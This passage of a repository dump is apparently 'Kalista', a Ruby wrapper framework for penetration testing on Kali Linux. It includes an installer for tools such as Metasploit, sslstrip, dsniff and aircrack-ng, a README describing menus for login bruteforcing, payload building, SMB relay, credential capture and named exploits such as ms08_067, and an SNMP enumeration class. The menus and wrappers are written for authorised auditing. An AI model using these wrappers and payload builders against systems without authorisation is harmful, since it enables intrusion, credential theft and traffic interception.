35 | gemz = [ 'rb-readline', 'colorize', 'snmp', 'text-table' ]
36 | Dir.chdir(INSTALL) {
37 | gemz.each do |g|
38 | system("sudo gem install #{g}")
39 | end
40 | }
41 | end
42 |
43 | # Check if Git is already installed as we need it for many tools and you should have it if you dont already! :p
44 | def check_git
45 | g = commandz('which git')
46 | if not g.size > 0
47 | puts "Attempting to install git...."
48 | if @fetch == 'yum'
49 | system("sudo #{@fetch} install curl-devel expat-devel gettext-devel openssl-devel zlib-devel")
50 | elsif @fetch == 'apt-get'
51 | system("sudo #{@fetch} install libcurl4-gnutls-dev libexpat1-dev gettext libz-dev libssl-dev")
52 | else
53 | puts
54 | puts "Git doesn't appear to be installed & you have no available package manager!"
55 | puts "Can't continue without these key items!"
56 | puts "Try things manually or try installing git manually......"
57 | puts
58 | puts
59 | exit 666;
60 | end
61 | system("sudo #{@fetch} install git")
62 | else
63 | puts "Git appears to be installed!"
64 | end
65 | end
66 |
67 | # Small function to determine our package installer, apt-get or yum
68 | # Expand it in future to include more options....
69 | def check_installer
70 | a = commandz('which apt-get')
71 | if not a.size > 0
72 | puts "Apt-Get appears to be installed!"
73 | @fetch='apt-get'
74 | else
75 | puts "Apt-Get doesn't appears to be available, checking for yum....."
76 | b = commandz('which yum')
77 | if not b.size > 0
78 | puts "Yum appears to be installed!"
79 | @fetch='yum'
80 | else
81 | puts
82 | puts "Can't find a package installer I know how to use!"
83 | puts "You will have issues installing some of the dependencies as a result, sorry....."
84 | puts
85 | @fetch='nil'
86 | end
87 | end
88 | end
89 | #Check tools and return array of those needed
90 | def check_tools
91 | toolz = [ 'msfconsole', 'keimpx', 'dnsrecon', 'dnsmap', 'nmap', 'netdiscover', 'nbtscan', 'aircrack-ng', 'dsniff', 'macchanger', 'evilgrade', 'sslstrip', 'driftnet' ] #'pwdump'
92 | Dir.chdir(INSTALL) {
93 | toolz.each do |t|
94 | case t
95 | # when 'pwdump'
96 | # e = commandz('which pwdump')
97 | # if not e.size > 0
98 | # puts "Installing PWDUMP Tool....."
99 | # pwdump_installer
100 | # else
101 | # puts "PWDUMP appears to be installed!"
102 | # end
103 | when 'driftnet'
104 | e = commandz('which driftnet')
105 | if not e.size > 0
106 | puts "Installing Driftnet MiTM Tool....."
107 | driftnet_installer
108 | else
109 | puts "Driftnet appears to be installed!"
110 | end
111 | when 'sslstrip'
112 | e = commandz('which sslstrip')
113 | if not e.size > 0
114 | puts "Installing SSLSTRIP MiTM Tool....."
115 | sslstrip_installer
116 | else
117 | puts "SSLSTRIP appears to be installed!"
118 | end
119 | when 'evilgrade'
120 | e = commandz('which evilgrade')
121 | if not e.size > 0
122 | e = commandz('locate isr-evilgrade/evilgrade')
123 | if not e.size > 0
124 | puts "Installing Evilgrade....."
125 | Dir.chdir(INSTALL) {
126 | system('git clone https://github.com/infobyte/evilgrade.git')
127 | }
128 | else
129 | puts "Evilgrade appears to be installed!"
130 | end
131 | else
132 | puts "Evilgrade appears to be installed!"
133 | end
134 | when 'macchanger'
135 | e = commandz('which macchanger')
136 | if not e.size > 0
137 | macchanger_installer
138 | else
139 | puts "MacChanger appears to be installed!"
140 | end
141 | when 'dsniff'
142 | e = commandz('which dsniff')
143 | if not e.size > 0
144 | puts "Installing DSNIFF Tool Suite....."
145 | dsniff_installer
146 | else
147 | puts "DSNIFF appears to be installed!"
148 | end
149 | when 'aircrack-ng'
150 | e = commandz('which aircrack-ng')
151 | if not e.size > 0
152 | puts "Installing Aircrack Wireless Tool Suite....."
153 | aircrack_installer
154 | else
155 | puts "Aircrack appears to be installed!"
156 | end
157 | when 'nbtscan'
158 | e = commandz('which nbtscan')
159 | if not e.size > 0
160 | puts "Installing nbtscan NetBios Scanner....."
161 | nbtscan_installer
162 | else
163 | puts "nbtscan appears to be installed!"
164 | end
165 | when 'netdiscover'
166 | e = commandz('which netdiscover')
167 | if not e.size > 0
168 | puts "Installing NetDiscover Sniffing Tool....."
169 | netdiscover_installer
170 | else
171 | puts "NetDiscover appears to be installed!"
172 | end
173 | when 'nmap'
174 | e = commandz('which nmap')
175 | if not e.size > 0
176 | puts "Installing NMAP Scanner....."
177 | nmap_installer
178 | else
179 | puts "NMAP appears to be installed!"
180 | end
181 | when 'dnsmap'
182 | e = commandz('which dnsmap')
183 | if not e.size > 0
184 | puts "Installing DNSMAP DNS Scanner....."
185 | dnsmap_installer
186 | else
187 | puts "DNSMAP appears to be installed!"
188 | end
189 | when 'dnsrecon'
190 | e = commandz('which dnsrecon')
191 | if not e.size > 0
192 | e = commandz('locate dnsrecon.py')
193 | if not e.size > 0
194 | puts "Installing DNSRECON DNS Scanner....."
195 | Dir.chdir(INSTALL) {
196 | system('git clone https://github.com/darkoperator/dnsrecon.git')
197 | }
198 | else
199 | puts "DNSRECON appears to be installed!"
200 | end
201 | else
202 | puts "DNSRECON appears to be installed!"
203 | end
204 | when 'msfconsole'
205 | e = commandz('which msfconsole')
206 | if not e.size > 0
207 | puts "Installing Metasploit Community Edition, you will need to fill out a few questions in the GUI....."
208 | msf_installer
209 | else
210 | puts "Metasploit appears to be installed!"
211 | end
212 | when 'keimpx'
213 | e = commandz('locate keimpx.py')
214 | if not e.size > 0
215 | puts "Installing KEIMPX SMB Tool....."
216 | Dir.chdir(INSTALL) {
217 | system('git clone https://github.com/inquisb/keimpx.git')
218 | }
219 | else
220 | puts "KEIMPX appears to be installed!"
221 | end
222 | end
223 | end
224 | }
225 | end
226 |
227 | # DNSMAP Installer
228 | def dnsmap_installer
229 | Dir.chdir(INSTALL) {
230 | system('wget http://dnsmap.googlecode.com/files/dnsmap-0.30.tar.gz')
231 | system('tar zxvf dnsmap-0.30.tar.gz')
232 | Dir.chdir('dnsmap-0.30') {
233 | system('gcc -Wall dnsmap.c -o dnsmap')
234 | system('chmod +x dnsmap')
235 | system('cp dnsmap /usr/bin/dnsmap')
236 | }
237 | }
238 | end
239 |
240 | # Metasploit Installer
241 | def msf_installer
242 | if osm =~ /x64|x86_64/
243 | system('wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run')
244 | system('chmod +x metasploit-latest-linux-x64-installer.run')
245 | system('sudo metasploit-latest-linux-x64-installer.run')
246 | else
247 | system('wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x32-installer.run')
248 | system('chmod +x metasploit-latest-linux-x32-installer.run')
249 | system('sudo metasploit-latest-linux-x32-installer.run')
250 | end
251 | end
252 |
253 | # NMAP Installer
254 | def nmap_installer
255 | Dir.chdir(INSTALL) {
256 | system('wget http://nmap.org/dist/nmap-6.25.tgz')
257 | system('tar zxvf nmap-6.25.tgz')
258 | Dir.chdir('nmap-6.25') {
259 | system('./configure')
260 | system('make')
261 | system('sudo make install')
262 | }
263 | }
264 | end
265 |
266 | # NetDiscover Network Sniffer Tool
267 | def netdiscover_installer
268 | Dir.chdir(INSTALL) {
269 | system('wget http://nixgeneration.com/~jaime/netdiscover/releases/netdiscover-0.3-beta6.tar.gz')
270 | system('tar zxvf netdiscover-0.3-beta6.tar.gz')
271 | Dir.chdir('netdiscover-0.3-beta6') {
272 | system('./configure')
273 | system('make')
274 | system('sudo make install')
275 | }
276 | }
277 | end
278 |
279 | #NBTSCAN NetBios Scanner
280 | def nbtscan_installer
281 | Dir.chdir(INSTALL) {
282 | system('wget http://www.mirrorservice.org/sites/www.ibiblio.org/gentoo/distfiles/nbtscan-1.5.1.tar.gz')
283 | system('tar zxvf nbtscan-1.5.1.tar.gz')
284 | Dir.chdir('nbtscan-1.5.1') {
285 | system('./configure')
286 | system('make')
287 | system('sudo make install')
288 | }
289 | }
290 | end
291 |
292 | # Aircrack Wireless Tool Set Installer
293 | def aircrack_installer
294 | Dir.chdir(INSTALL) {
295 | system('wget http://download.aircrack-ng.org/aircrack-ng-1.2-beta1.tar.gz')
296 | system('tar zxvf aircrack-ng-1.2-beta1.tar.gz')
297 | Dir.chdir('aircrack-ng-1.2-beta1') {
298 | system('make sqlite=true')
299 | system('sudo make sqlite=true install')
300 | }
301 | }
302 | end
303 |
304 | # DSNIFF Tool Suite for MiTM Audits and Attacks
305 | def dsniff_installer
306 | Dir.chdir(INSTALL) {
307 | system('wget http://www.monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz')
308 | system('tar zxvf dsniff-2.3.tar.gz')
309 | Dir.chdir('dsniff-2.3') {
310 | system('./configure')
311 | system('make')
312 | system('sudo make install')
313 | }
314 | }
315 | end
316 |
317 | # MacChanger Installer
318 | # Allows you to change MAC address which can be very handy for all sorts of scannings, mitm and wifi fun
319 | def macchanger_installer
320 | if @fetch != 'nil'
321 | puts "Installing MacChanger and MacChanger-GTK....."
322 | system("sudo #{@fetch} install macchanger macchanger-gtk")
323 | else
324 | puts
325 | puts "No package installer available!"
326 | puts "Can't install MacChanger or MacChanger-GTK as a result....."
327 | puts
328 | end
329 | end
330 |
331 | # SSLSTRIP Installer
332 | def sslstrip_installer
333 | Dir.chdir(INSTALL) {
334 | system("sudo #{@fetch} install python-twisted-web")
335 | system('wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz')
336 | system('tar -zxvf sslstrip-0.9.tar.gz')
337 | Dir.chdir('sslstrip-0.9') {
338 | system('sudo python ./setup.py install')
339 | }
340 | }
341 | end
342 |
343 | # DriftNet Installer
344 | # Grabs Images and Audio files out of network captures. Handy for MiTM attacks...
345 | def driftnet_installer
346 | Dir.chdir(INSTALL) {
347 | system('wget http://www.ex-parrot.com/~chris/driftnet/driftnet-0.1.6.tar.gz')
348 | system('tar -zxvf driftnet-0.1.6.tar.gz')
349 | Dir.chdir('driftnet-0.1.6') {
350 | system('make')
351 | system('sudo make install')
352 | }
353 | }
354 | end
355 |
356 | ######################################################
357 | # ################ MAIN ################ #
358 | ######################################################
359 | # Check if its a Linux system, if not all bets are off!
360 | if RUBY_PLATFORM =~ /win|.NET/i
361 | puts "\n\nThis is not meant for Winblows!"
362 | puts "GTFO!\n"
363 | end
364 | os=`uname -o`
365 | osm=`uname -m`
366 | osv=`uname -v`
367 | if not os =~ /linux/i
368 | puts "Doesn't appear to be a Linux system, can't promise anything will work....."
369 | end
370 |
371 | # Create our Installation Directory if it doesn't exist yet
372 | Dir.mkdir(INSTALL) unless File.exists?(INSTALL)
373 |
374 | # Check if we are running on Kali Linux, our intended target it was written for
375 | # If Global paths are fixed after all dependencies are installed everything should work fine, should....
376 | if not osv =~ /kali/i
377 | puts "Doesn't appear to be a Kali Linux system, can't promise everything will work flawlessly but here goes....."
378 | end
379 |
380 | puts "Starting Kalista Dependency Installer...."
381 | check_depenencies
382 |
--------------------------------------------------------------------------------
/README.txt:
--------------------------------------------------------------------------------
1 | _|_| _| _| _|
2 | _| _| _|_|_| _|_| _|_|_| _| _| _| _|_| _|_|
3 | _| _| _| _| _|_|_|_| _| _| _| _| _| _| _|_| _|_|_|_|
4 | _| _| _| _| _| _| _| _| _| _| _| _| _|
5 | _|_| _|_|_| _|_|_| _| _| _| _| _| _| _|_|_|
6 | _|
7 | _|
8 | OpenWire Project Kalista, v0.1-aplha
9 |
10 | Project Kalista Readme:
11 |
12 | This is something I made for myself and decided to share as others kind of liked it. It's a lot of wrappers for common tasks done during auditing and pentesting. It has a main menu which you can navigate to any of the sub-menu's or in most cases you can run the arguments needed at run time to launch directly into the needed sub-menu of choice. It was originally designed to be used on the newer Kali Linux distro but I am slowly working on tweaking it here and there to try and make it work on other distros if you have the underlying dependencies and tools required to run. The installer.rb file is still in the works but is my first shot at helping somone get setup to use on another distro, no guarantees for the moment. Poke around, have fun & enjoy!
13 |
14 | Usage:./kalista [OPTIONS]
15 |
16 | Options:
17 | -m, --main
18 | Main Menu
19 | -r, --recon
20 | Recon & Discovery Menu
21 | -b, --brute
22 | Logins & Bruteforce Menu
23 | -p, --payloads
24 | Payload Builder Menu
25 | -l, --listener
26 | Listner Builder Menu
27 | -x, --exploit
28 | Exploits Menu
29 | -w, --wifi
30 | WiFi Menu
31 | -M, --mitm
32 | MiTM Menu
33 | -u, --update
34 | Updates Menu
35 | -s, --smbfun
36 | SMB Tools Menu
37 | -h, --help
38 | Display Help Menu
39 |
40 | MAIN MENU:
41 | This allows you to navigate to any of the sub-menus as well as ability to run a few options which are not accessible elsewhere. It is setup to act like a typical command shell to keep you comfy. You can type HELP to see the list of options available, CLS or CLEAR to clear terminal, and EXIT to exit the framework completely - these all work thoughout the framework and sub-menus. From the Main Menu you can easily jump to the sub-menus which are all named by their respective categories. As you change menus within the framework you will notice the command prompt will change accordingly to keep you informed of where you are so you dont get lost. As options are enabled and tasks run the tasks are mostly run in separate x-term windows while keeping everything easy to track. Windows are titled and for all MSF wrappers the results are stored in the MSF database in addition to whatever is stored in the local Kalista results directory.
42 |
43 | (Kalista)> help
44 | List of commands and description of usage:
45 | clear => Clear Screen
46 | exit => Exit Completely
47 | help => Display this Help Menu
48 |
49 | recon => Recon & Discovery Shell
50 | login => Logins & Bruteforcers Shell
51 | payload => Payloads Builder Shell
52 | listener => Listener & Connection Handler Setup
53 | snmp => Windows SNMP Enumation Tools
54 | smb => SMB Tools
55 | exploit => Exploits Shell
56 | wifi => WiFi Shell
57 | mitm => MiTM Shell
58 | update => Updater
59 |
60 | local => Local OS Shell
61 | rb => Evaluates Ruby Code
62 |
63 | RB:
64 | There is a built in option to evaluate raw ruby code. This allows you to do what you want on the fly as needed. If you know the framework you can also leverage any of the existing built-ins from here. Please refrain from using global variables as this is largely what the framework relies on and it may cause some issues if you do...
65 |
66 | LOCAL:
67 | This simple drops to a pseudo shell where you can execute local OS commands without having to exit the framework completely. You should be able to do most activities you would normally perform from the command line. I have not experienced any issues yet, but can't promise the world as I'm sure there is something I just haven't come across yet. If you break it you buy it, jk - please send me a note so I can try to fix!
68 |
69 | RECON:
70 | Recon as is it is named takes you to some options for performing common recon tasks. There are a few options for performing discovery via ARP scans, there are a few options for DNS enumeration as well as a few other discovery scanners which use various port scans to perform their particular function (MS-SQL, WinRM, NetBios, NMAP, etc). Below is a listing from the help menu to give you an idea, most options will be menu driven after selected and will run once the setup questions are finished (target, ip/range, etc).
71 |
72 | (Recon)> help
73 | List of available commands and general description:
74 | arp => ARP Discovery Scan using MSF
75 | netdiscover => ARP Discovery Scan using Netdiscover
76 | dnsrecon => DNS Enumeration using DNSRECON
77 | subrecon => Sub-Domain Enumeration using DNSRECON
78 | submap => Sub-Domain Enumeration using DNSMAP
79 | nbtscan => NBTSCAN NetBios Scan
80 | nmap => NMAP Scan
81 | mssql_ping => MS-SQL Ping Utility
82 | winrm => WinRM Authentication Method Detection
83 |
84 | LOGIN:
85 | This is a menu for attacking various service logins. At the moment these all leverage MSF Auxiliary modules, some variance in the future is expected (i.e. Hydra + Ncrack alternatives). Once your option is selected you will be taken through wizard to setup attack configuration, once done it is launched in a new window with results stored in MSF database.
86 |
87 | (Logins)> help
88 | List of available commands and general description:
89 | ssh => SSH Login Scanner
90 | ftp_login => FTP Login Scanner
91 | ftp_anon => Anonymous FTP Login Scanner
92 | mssql_login => MS-SQL Login Scanner
93 | pgsql_login => PostgreSQL Login Scanner
94 | mysql_login => MySQL Login Scanner
95 | mysql_auth => MySQL Authentication Bypass Password Dumper
96 | telnet => Telnet Login Scanner
97 | winrm => WinRM Login Scanner
98 |
99 | PAYLOAD:
100 | This is the menu for the payload builder menu. From here you can configure and build all sorts of payloads leveraging MSF under the hood in most cases. You can find options for building payloads for Linux, Windows, Web Applications, PDFs and all with various formats or options available to you. As with the other menus once an option is selected the wizard will guide you through questions to get things setup and then point you at the final payload which should be stored somewhere in the results directory.
101 |
102 | NOTE: This uses basic MSF encoding when encoding so don't expect 100% FUD paylaods bypassing all sorts of AV but it gets job done in plenty of cases. CUSTOM::EXE Support coming soon in future editions where applicable. Shellcode generator also planned for future editions...
103 |
104 | (Payloads)> help
105 | List of available commands and general description:
106 | elf => Linux ELF Executable
107 | deb => Linux DEB Installer Package, using: Tint (This is Not Tetris)
108 | web => ASP, JSP & PHP Web Payloads
109 | exe => Windows EXE Executable
110 | pdf => Windows PDF Embedded Payload
111 | war => WAR (Web-Archive) Payloads
112 | downloader => Windows Download & Execute Payload
113 | vbs_down => Windows VBScript Downloader, NO Execution
114 | powershell => Windows PowerShell Payloads
115 |
116 | LISTENER:
117 | This will take you into a wizard driven guide to setup a local listener or to connect to bind shell you already have waiting. It uses the MSF multi-handler for most of the payload handlings but also has wrappers for NCAT and NetCat when you select the generic payload option. Fairly straight forward business here...
118 |
119 | SNMP:
120 | This is custom SNMP tool I wrote to perform some recon and enumeration against Windows systems. It is designed to be able to go after other systems and devices as well but you will have to figure out or enumerate the needed MiB for calls. Currently it is targeted at Windows and is capable of running login attack against community string. Once valid READ string is found against Windows box it can enumerate System Info (Uptime, System Name, etc), Valid User Account Usernames, Running Processes, Running Services, and Open Ports TCP/UDP. You can play around with what you can do if you have WRITE string access. I plan to add to this as time goes on and I learn and find more helpful references on SNMP. I would eventually like to have some Cisco and other more common devices added with a few built-in options...
121 |
122 | (SNMP)> help
123 | List of available commands and general description:
124 | nmap => Quick NMAP SNMP Scan Builder
125 | bruteforce => Dictionary Attack SNMP Community String
126 | creds => Initialize SNMP Connection Variables (for ease of use)
127 | basic => Enumerate Basic Info
128 | dump => Dump 'MGMT' Tree
129 | users => Enumerate Windows Usernames
130 | netstat => Enumerate Windows Currently Open TCP & UDP Ports
131 | process => Enumerate Windows Running Processes
132 | services => Enumerate Windows Running Services
133 | software => Enumerate Windows Installed Software
134 |
135 | o2n => Convert OID to Symbolic Name
136 | n2o => Convert Symbolic Name to OID
137 | walk => Walk Tree by OID or Symbolic Name
138 | set => Set Value for Specified OID to given String
139 |
140 | SMB:
141 | This is my favorite sub-menu and the one I use the most. It contains several helpful wrappers for performing SMB Recon and Attacks. This includes version scanning, password auditing, domain user enumeration and several options for payload delivery given valid credentials. The noshell_hell option is my own custom MSF module. It is included with Kalista in the extras directory but Kalista will copy into MSF directory if it doesnt find it. This leverages the smb_exec method to run a bunch of enumeration and attack commands without uploading binaries to target. MPX is another one i made and is mainly just a wrapper for the MSF standalone psexec tool to extend its value by allowing it to accept larger ranges and lists of passwords or password hashes. Keimpx is another tool which uses the impacket library for Core guys which is really awesome tool which can come in handy in lots of various occassions. Encourage you to poke around and find what works for you, let me know what doesnt :)
142 |
143 | (SMBFun)> help
144 | List of available commands and general description:
145 | smb_version => SMB Version Scanner
146 | smb_login => SMB Login Scanner
147 | smb_pipe => SMB Pipe Auditor
148 | smb_dcerpc => SMB DCERPC Pipe Auditor
149 | smb_shares => SMB Shares Enumerator
150 | smb_domains => SMB Domain Users Enumerator
151 | smb_exec => MSF PSEXEC_COMMAND (No Shell CMD Exec)
152 | noshell_hell => MSF PSEXEC_COMMAND (No Shell Hell)
153 | psexec => MSF PSEXEC Payload Delivery
154 | keimpx => KEIMPX SMB Tool
155 | mpx => Multi-Scan PSEXEC Upload & Execute Wrapper
156 |
157 |
158 | EXPLOIT:
159 | This is the exploits menu and containts quick setups for some more common exploits I tend to come across. Contains several credential capturing options and several exploit options for both Windows and Linux. Don't forget about the SMB Section as some exploit options are only there but menu space was becoming an issue so they were broken off to their own category...
160 |
161 | (Exploits)> help
162 | List of available commands and general description:
163 | smb_cap => Windows SMB Authentication Capture
164 | nbns_spoof => NetBIOS Name Service Spoofer (nbns_spoofer)
165 | http_ntlm => Windows HTTP Client Credential Capture (http_ntlm)
166 | smb_relay => Windows SMB Relay Exploit
167 |
168 | winrm => WinRM Credentialed Payload Execution
169 | netapi => Exploit Windows ms08_067 netapi
170 | trans2open => Exploit Samba trans2open (*nix: Samba versions 2.2.0 to 2.2.8)
171 | usermap => Exploit Samba 'username map script' (*nix: Samba versions 3.0.20 through 3.0.25rc3)
172 |
173 | mssql_rce => MS-SQL Server Payload Execution (Credentials)
174 | mssqli_rce => MS-SQL Server Payload Execution (via SQLi)
175 | mssql_ntlm => MS-SQL Server NTLM Stealer
176 | mssqli_ntlm => MS-SQL Server NTLM Stealer via SQLi
177 | mysql_udf => Windows Oracle MySQL UDF Payload Execution
178 | mysql_mof => Windows Oracle MySQL MOF Payload Execution
179 | pgsql_win => Windows PostgreSQL Payload Execution (Credentials)
180 | pgsql_nix => Linux PostgreSQL Payload Execution (Credentials)
181 |
182 | MITM:
183 | This is reserved for Man-In-The-Middle Attacks and Setup. I haven't coded this section yet but plan to soon. It wont be anything overly complicated, just some wrappers for basic setups and common attacks.
184 |
185 | WiFi:
186 | This is reserved for WiFi Scanning and Attacks. This section is still in the works, coming soon....
187 |
188 | UPDATE:
189 | This is a sub-menu for updating common tools. Currently it is only setup for MSF but will likely add to it with time, although since it was originally targeted as Kali it doesn't need a whole lot :)
190 |
191 | QUESTIONS, SUGGESTIONS, OR FEEDBACK:
192 | Please feel free to message me with your questions, suggestions or feedback: hood3drob1n [ at ] gmail [ dot ] com
193 | I am not great at using Github so message me and I will likely get back to you and fix the issue sooner this way.....
194 |
195 | Hope you enjoy the new stuff!
196 |
197 | Laters,
198 | H.R.
199 |
200 |
--------------------------------------------------------------------------------
/classes/snmp.rb:
--------------------------------------------------------------------------------
1 | # This is our SNMPWinStalker Class
2 | # This should house anything related to SNMP Reconn & Attacks
3 | # Mostly a Windows focus, but not limited to....
4 | # If you add, just update the usage and snmp_shell function to make available
5 |
6 | class SNMPShell
7 | def show_snmp_usage
8 | puts "List of available commands and general description".light_yellow + ": ".white
9 | puts "\tcls".light_yellow + " => ".white + "Clear Screen".light_yellow
10 | puts "\thelp ".light_yellow + " => ".white + "Display this Help Menu".light_yellow
11 | puts "\tback ".light_yellow + " => ".white + "Return to Main Menu".light_yellow
12 | puts "\texit ".light_yellow + " => ".white + "Exit Completely".light_yellow
13 | print_line("")
14 | puts "\tnmap ".light_yellow + " => ".white + "Quick NMAP SNMP Scan Builder".light_yellow
15 | puts "\tbruteforce ".light_yellow + " => ".white + "Dictionary Attack SNMP Community String".light_yellow
16 | puts "\tcreds ".light_yellow + " => ".white + "Initialize SNMP Connection Variables (for ease of use)".light_yellow
17 | puts "\tbasic ".light_yellow + " => ".white + "Enumerate Basic Info".light_yellow
18 | puts "\tdump ".light_yellow + " => ".white + "Dump 'MGMT' Tree".light_yellow
19 | puts "\tusers ".light_yellow + " => ".white + "Enumerate Windows Usernames".light_yellow
20 | puts "\tnetstat ".light_yellow + " => ".white + "Enumerate Windows Currently Open TCP & UDP Ports".light_yellow
21 | puts "\tprocess ".light_yellow + " => ".white + "Enumerate Windows Running Processes".light_yellow
22 | puts "\tservices ".light_yellow + " => ".white + "Enumerate Windows Running Services".light_yellow
23 | puts "\tsoftware ".light_yellow + " => ".white + "Enumerate Windows Installed Software".light_yellow
24 | print_line("")
25 | puts "\to2n ".light_yellow + " => ".white + "Convert OID to Symbolic Name".light_yellow
26 | puts "\tn2o ".light_yellow + " => ".white + "Convert Symbolic Name to OID".light_yellow
27 | puts "\twalk ".light_yellow + " => ".white + "Walk Tree by OID or Symbolic Name".light_yellow
28 | puts "\tset ".light_yellow + " => ".white + "Set Value for Specified OID to given String".light_yellow
29 | print_line("")
30 | end
31 |
32 | def snmp_shell
33 | prompt = "(SNMP)> "
34 | while line = Readline.readline("#{prompt}", true)
35 | cmd = line.chomp
36 | case cmd
37 | when /^clear|^cls|^banner/i
38 | cls
39 | banner
40 | snmp_shell
41 | when /^help|^h$|^ls$/i
42 | show_snmp_usage
43 | snmp_shell
44 | when /^exit|^quit/i
45 | print_line("")
46 | print_error("OK, exiting Kalista....")
47 | print_line("")
48 | exit 69;
49 | when /^back|^main/i
50 | print_line("")
51 | print_error("OK, back to the Main Menu....")
52 | print_line("")
53 | $framework.core_shell
54 | when /^nmap|^snmp_nmap/i
55 | print_line("")
56 | nmap_snmp
57 | snmp_shell
58 | when /^bruteforce|^snmp_brute|^bruter/i
59 | print_line("")
60 | snmp_brute
61 | snmp_shell
62 | when /^creds|^credz|^credential/i
63 | print_line("")
64 | snmp_creds
65 | snmp_shell
66 | when /^o2n (.+)/i
67 | print_line("")
68 | oid=$1
69 | o2n(oid)
70 | print_line("")
71 | snmp_shell
72 | when /^n2o (.+)/i
73 | print_line("")
74 | name=$1
75 | n2o(name)
76 | print_line("")
77 | snmp_shell
78 | when /^walk (.+)|^snmp_walk (.+)/i
79 | print_line("")
80 | oidname=$1
81 | snmap_walk(oidname)
82 | print_line("")
83 | snmp_shell
84 | when /^set (.+) (.+)|^snmp_set (.+) (.+)/i
85 | print_line("")
86 | oid=$1
87 | string=$2
88 | snmap_set(oid, string)
89 | snmp_shell
90 | when /^basic|^info/i
91 | print_line("")
92 | snmp_basic
93 | print_line("")
94 | snmp_shell
95 | when /^dump/i
96 | print_line("")
97 | snmp_dump
98 | print_line("")
99 | snmp_shell
100 | when /^users|^usernames/i
101 | print_line("")
102 | snmp_users
103 | print_line("")
104 | snmp_shell
105 | when /^software|^sw$/i
106 | print_line("")
107 | snmp_software
108 | print_line("")
109 | snmp_shell
110 | when /^services/i
111 | print_line("")
112 | snmp_services
113 | print_line("")
114 | snmp_shell
115 | when /^process|^ps$/i
116 | print_line("")
117 | snmp_processes
118 | print_line("")
119 | snmp_shell
120 | when /^netstat/i
121 | print_line("")
122 | snmp_netstat
123 | print_line("")
124 | snmp_shell
125 | else
126 | cls
127 | print_line("")
128 | print_error("Oops, Didn't quite understand that one")
129 | print_error("Please Choose a Valid Option From Menu Below Next Time.....")
130 | print_line("")
131 | show_snmp_usage
132 | snmp_shell
133 | end
134 | end
135 | end
136 |
137 | #Convert OID 2 Symbolic Name
138 | def o2n(oid)
139 | if not @snmp_target
140 | print_caution("Target IP: ")
141 | snmp_target = gets.chomp
142 | print_caution("Use Standard SNMP Port of 161 (Y/N)?")
143 | answer=gets.chomp
144 | if answer.upcase == 'N' or answer.upcase == 'NO'
145 | print_caution("SNMP Port: ")
146 | snmp_port=gets.chomp
147 | else
148 | snmp_port='161'
149 | end
150 | print_caution("Community String: ")
151 | snmp_cstring = gets.chomp
152 | base = SNMPStalker.new(snmp_target,snmp_port.to_i,snmp_cstring)
153 | else
154 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring)
155 | end
156 | base.can_we_connect
157 | if $fail == 0
158 | base.oid2name(oid)
159 | base.close
160 | else
161 | $fail=0
162 | end
163 | end
164 |
165 | #Convert Symbolic Name to OID
166 | def n2o(name)
167 | if not @snmp_target
168 | print_caution("Target IP: ")
169 | snmp_target = gets.chomp
170 | print_caution("Use Standard SNMP Port of 161 (Y/N)?")
171 | answer=gets.chomp
172 | if answer.upcase == 'N' or answer.upcase == 'NO'
173 | print_caution("SNMP Port: ")
174 | snmp_port=gets.chomp
175 | else
176 | snmp_port='161'
177 | end
178 | print_caution("Community String: ")
179 | snmp_cstring = gets.chomp
180 | base = SNMPStalker.new(snmp_target,snmp_port.to_i,snmp_cstring)
181 | else
182 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring)
183 | end
184 | base.can_we_connect
185 | if $fail == 0
186 | base.name2oid(name)
187 | base.close
188 | else
189 | $fail=0
190 | end
191 | end
192 |
193 | # SET value for specified OID with given string
194 | def snmap_set(oid, string)
195 | if not @snmp_target
196 | print_caution("Target IP: ")
197 | snmp_target = gets.chomp
198 | print_caution("Use Standard SNMP Port of 161 (Y/N)?")
199 | answer=gets.chomp
200 | if answer.upcase == 'N' or answer.upcase == 'NO'
201 | print_caution("SNMP Port: ")
202 | snmp_port=gets.chomp
203 | else
204 | snmp_port='161'
205 | end
206 | print_caution("Community String: ")
207 | snmp_cstring = gets.chomp
208 | base = SNMPStalker.new(snmp_target,snmp_port.to_i,snmp_cstring)
209 | else
210 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring)
211 | end
212 | base.can_we_connect
213 | if $fail == 0
214 | base.set(oid, string)
215 | base.close
216 | else
217 | $fail=0
218 | end
219 | end
220 |
221 | # Walk the target OID or OID Symbolic Name tree if available....
222 | def snmap_walk(oidname)
223 | if not @snmp_target
224 | print_caution("Target IP: ")
225 | snmp_target = gets.chomp
226 | print_caution("Use Standard SNMP Port of 161 (Y/N)?")
227 | answer=gets.chomp
228 | if answer.upcase == 'N' or answer.upcase == 'NO'
229 | print_caution("SNMP Port: ")
230 | snmp_port=gets.chomp
231 | else
232 | snmp_port='161'
233 | end
234 | print_caution("Community String: ")
235 | snmp_cstring = gets.chomp
236 | base = SNMPStalker.new(snmp_target,snmp_port.to_i,snmp_cstring)
237 | else
238 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring)
239 | end
240 | base.can_we_connect
241 | if $fail == 0
242 | base.walk(oidname)
243 | base.close
244 | else
245 | $fail=0
246 | end
247 | end
248 |
249 | # A Pseudo initialize function to set some credentials
250 | # This will allow re-use to save time while staying in this class module
251 | def snmp_creds
252 | print_status("SNMP Connection Datastore")
253 | print_caution("Target IP: ")
254 | @snmp_target = gets.chomp
255 | print_caution("Use Standard SNMP Port of 161 (Y/N)?")
256 | answer=gets.chomp
257 | if answer.upcase == 'N' or answer.upcase == 'NO'
258 | print_caution("SNMP Port: ")
259 | @snmp_port=gets.chomp
260 | else
261 | @snmp_port='161'
262 | end
263 | print_caution("Community String: ")
264 | @snmp_cstring = gets.chomp
265 | $fail=0
266 | print_status("SNMP Connection Datastore Complete!")
267 | print_good("Target: #{@snmp_target}")
268 | print_good("Port: #{@snmp_port}")
269 | print_good("Community String: #{@snmp_cstring}")
270 | base = SNMPStalker.new(@snmp_target,@snmp_port.to_i,@snmp_cstring)
271 | base.can_we_connect
272 | if $fail == 0
273 | base.close
274 | else
275 | $fail=0
276 | print_error("")
277 | print_error("The provided details don't seem to be working!")
278 | print_error("")
279 | end
280 | print_caution("Re-run to change and re-set the SNMP connection datastore....")
